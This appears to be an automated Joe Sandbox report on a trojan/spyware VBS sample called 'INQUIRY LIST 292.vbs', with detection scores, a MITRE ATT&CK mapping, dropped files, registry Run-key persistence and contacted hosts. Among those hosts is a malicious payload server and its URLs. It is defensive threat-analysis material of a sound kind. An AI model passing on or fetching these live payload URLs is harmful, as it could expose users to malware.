Source: Yara match	File source: 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	1 Valid Accounts	1 Windows Management Instrumentation	121 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Valid Accounts	1 Access Token Manipulation	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	311 Process Injection	2 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	12 Command and Scripting Interpreter	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	251 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	2 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Valid Accounts	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	2 Virtualization/Sandbox Evasion	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	311 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
INQUIRY LIST 292.vbs	32%	ReversingLabs	Script-WScript.Trojan.Valyria
INQUIRY LIST 292.vbs	100%	Avira	VBS/Drop.Agent.VPYN

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Uhzauuil.PIF	100%	Avira	HEUR/AGEN.1325914
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	HEUR/AGEN.1325914
C:\Windows \SysWOW64\NETUTILS.dll	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Uhzauuil.PIF	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\Public\Libraries\liuuazhU.pif	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\x.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Windows \SysWOW64\NETUTILS.dll	61%	ReversingLabs	Win64.Trojan.Barys
C:\Windows \SysWOW64\svchost.pif	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.volareconsultoria.com.br/u	0%	Avira URL Cloud	safe
https://www.volareconsultoria.com.br/245_Uhzauuilkul	0%	Avira URL Cloud	safe
https://www.volareconsultoria.com.br:443/245_Uhzauuilkuluo	0%	Avira URL Cloud	safe
https://reallyfreegeoip.orgfl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
volareconsultoria.com.br	50.116.86.44	true	true	unknown
reallyfreegeoip.org	104.21.96.1	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high
www.volareconsultoria.com.br	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false		high
https://www.volareconsultoria.com.br/245_Uhzauuilkul	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.volareconsultoria.com.br/u	x.exe, 00000001.00000002.1855286953.0000000000726000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.volareconsultoria.com.br:443/245_Uhzauuilkuluo	x.exe, 00000001.00000002.1855286953.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D509000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/h	liuuazhU.pif, 00000006.00000002.3109531523.000000001D4A0000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189l	liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.orgfl	liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/p	liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	liuuazhU.pif, 00000006.00000002.3109531523.000000001D531000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADD6000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	liuuazhU.pif, 00000006.00000002.3109531523.000000001D458000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	liuuazhU.pif, 00000006.00000002.3109531523.000000001D4A0000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0C	x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://checkip.dyndn	liuuazhU.pif, 00000006.00000002.3109531523.000000001D509000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pmail.com0	x.exe, 00000001.00000002.1879596549.0000000021B30000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000003.1853089482.000000007F43A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1878974952.000000002173A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825875616.000000007F62F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif.1.dr	false		high
https://reallyfreegeoip.org/xml/	liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
50.116.86.44	volareconsultoria.com.br	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592501
Start date and time:	2025-01-16 08:28:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	INQUIRY LIST 292.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@28/11@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 160 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:29:12	API Interceptor	2x Sleep call for process: x.exe modified
02:29:29	API Interceptor	2x Sleep call for process: Uhzauuil.PIF modified
07:29:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Uhzauuil C:\Users\Public\Uhzauuil.url
07:29:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Uhzauuil C:\Users\Public\Uhzauuil.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.122.6.168	JHGFDFG.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	MV Nicos Tomasos Vessel Parts.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Contrarre.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
104.21.96.1	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	www.uzshou.world/kbd2/?EtJTX=_JVX4ryxDRQpLJF&cNPH=ufZ7RYF4yLxNXVSq5Vx/4TYieRbcnKjskkbM3L5RbgB1pAgqHA7sfCNkYWLyXRMMwBB3JLbYKUw1FAOWml6VLpxPVZ4qXf58MsNUIQgw/PJ5HUGIvLQvrl5frN9PrRFpPiAd2cDcH6Sr
	gH3LlhcRzg.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/58m5/
	EIvidclKOb.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/0pqe/
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	www.aonline.top/fqlg/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	rDEKONT-1_16_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	JHGFDFG.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	MV. ASL ROSE - VESSEL'S DESC.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	New PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	WOOYANG VENUS_VESSEL_PARTICULARS.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	order6566546663.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	BNXCXCJSD.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	NEWORDER.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
checkip.dyndns.com	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	rDEKONT-1_16_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	JHGFDFG.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	MV. ASL ROSE - VESSEL'S DESC.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	New PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	WOOYANG VENUS_VESSEL_PARTICULARS.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	MV Nicos Tomasos Vessel Parts.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	order6566546663.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	BNXCXCJSD.jse	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	JHGFDFG.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	MV. ASL ROSE - VESSEL'S DESC.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	New PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	MV Nicos Tomasos Vessel Parts.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Execute.ps1	Get hash	malicious	Metasploit	Browse	158.101.196.44
	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	PDF6UU0CVUO2W-YGVUIO.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	PO#_1100015533.scr	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	1nl3hc.ps1	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
CLOUDFLARENETUS	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	QT202515010642.JPG.PDF.vbs	Get hash	malicious	Unknown	Browse	104.17.151.117
	Personliche Nachricht fur Friedhelm Hanusch.pdf	Get hash	malicious	Unknown	Browse	104.18.94.41
	arm7.elf	Get hash	malicious	Unknown	Browse	1.12.192.222
	https://solve.xfzz.org/awjsx.captcha?u=20d5b468-46a4-4894-abf8-dabd03b71a69	Get hash	malicious	Unknown	Browse	172.67.215.98
	https://crm1.ascentismedia.com/MatrixCRM2/CommunicationsCentre/publicpages/LinkTrackers.aspx?link=https%3A%2F%2Fdenionquil.glitch.me%23Y3VzdG9tZXJzZXJ2aWNlQGRpYXRyb24uY29t&blastid=HaJwKgulsuhThrevQ-bg1A==&cc=k7ybaJOHC1q7mw3Z9UVdFw==&linkid=n6XO784zESaOPkbEOEOx87g4IWcBarkC2D1Tdl8CJciDFYwgGprfRd-XvUJO4gpJ&MID=gbzhqmttgi2dknbxgyza&CNO=&isCXComm=1	Get hash	malicious	Unknown	Browse	104.21.63.154
	https://vyralink.emlnk.com/lt.php?x=3DZy~GE7IaWZ5XV7zAA9W.Zs~X7UvAL0v~hgXXLLJ3ag6X8v-Uy.xuG-142imNf#user_email=fiona.zhang@bbraun.com&fname=Zhang&lname=Fiona	Get hash	malicious	Unknown	Browse	104.17.25.14
	rDEKONT-1_16_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	JHGFDFG.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	https://guf1.xemirax.ru/	Get hash	malicious	Unknown	Browse	104.21.85.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	rDEKONT-1_16_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	JHGFDFG.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	MV. ASL ROSE - VESSEL'S DESC.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	New PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	WOOYANG VENUS_VESSEL_PARTICULARS.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	order6566546663.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	BNXCXCJSD.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	NEWORDER.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
a0e9f5d64349fb13191bc781f81f42e1	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	50.116.86.44
	g6lWBM64S4.msi	Get hash	malicious	Unknown	Browse	50.116.86.44
	new-riii-1-b.pub.hta	Get hash	malicious	LummaC	Browse	50.116.86.44
	EZsrFTi.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	50.116.86.44
	lummm_lzmb.exe	Get hash	malicious	LummaC	Browse	50.116.86.44
	L#U043e#U0430d#U0435r.exe	Get hash	malicious	LummaC	Browse	50.116.86.44
	Xeno.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	50.116.86.44
	Adobe-Acrobat-Pro-2025.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	50.116.86.44
	MotivatedFunded.exe	Get hash	malicious	LummaC Stealer	Browse	50.116.86.44

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\liuuazhU.pif	PI ITS15235 (2).doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	HSBC_PAY.SCR.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse

Created / dropped Files

C:\Users\Public\Libraries\FX.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	8214
Entropy (8bit):	4.674238519900089
Encrypted:	false
SSDEEP:	192:xmRmcVw5I1Rsv869gx2A9gB59zox8Y2MXNlT3l:xmcIDsss3ffY2MXDJ
MD5:	7821E3DE3812E791CF3B223500D73BC9
SHA1:	5E211B634CE77E6FEE83CE8A5B8C9A37C8B81E1D
SHA-256:	3DAA7F9EEE129F61F7A452F7150EE21A1C4141586A37F37842B9C3BB53152A74
SHA-512:	6EAE270065401626DF97B73A255578BF27B4F4DEA480954843823046AD95E40CF706C1A767C8765EF3AB48EA3A18498375614317EC00A9EF29A4DD21EDBC5F26
Malicious:	false
